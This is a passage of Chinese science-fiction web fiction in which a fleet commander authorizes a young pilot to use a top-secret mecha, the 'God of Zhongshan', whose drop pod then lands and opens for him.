“我要以起源机甲特型000-钟山之神的第二适格者身份,向总程序申请它的使用权,可是跟总程序申请这个使用权,必须要总队长级别的授权,我需要你的认可。只要一句话!” “钟山之神?”唐璜的声音终于开始不稳,“你能驾驶它么?” “我能!相信我。” “好。”等了很长时间,那边终于吐出了短短的一个字。 唐璜切断了通话。 唐璜瘫坐在指挥台上,他面前的光频上,那个猩红的请求页面已经弹到了他的面前。 他抬起手臂,猛地点下!然后重重地放下手,似乎这个小小的举动,已经耗尽了他全身的力气。 “舰队长,帝国最高机密的机甲怎么能…?!”一旁的指挥官目睹了一切的发生,发出近乎失声的扭曲声音。 唐璜抬起一只手,止住了指挥官剩下的话。 “相信年轻人吧。”他显得前所未有的疲惫。 唐璜默默地坐在指挥台前,双眼朦胧了。人间真的有奇迹么? 如果有的话,此生能不能让他再见证一次......那苍红色的星辰逆袭天幕的升起。 …… 审核通过后,一切流程快得不可思议。 一个天外来物穿过了大气层,拉出明亮的尾焰,砸落在他的五百米外。 它是一个巨型的落地舱,落地的一瞬形成巨大的冲击波,尘埃飞扬,舱室深深地陷入大地之中。 阿龙迦一步步地走入那个坑中,落地舱太过于巨大,有数层楼之高。验证自动通过,他仰头看着那面巨人般的门扉,舱门向他缓缓开启。 火红色的辉光像流水般涌出。 舱中无尽的黑暗里,苍红的狂龙正向他睁开巨烛般的眼睛。 特型000-钟山之神!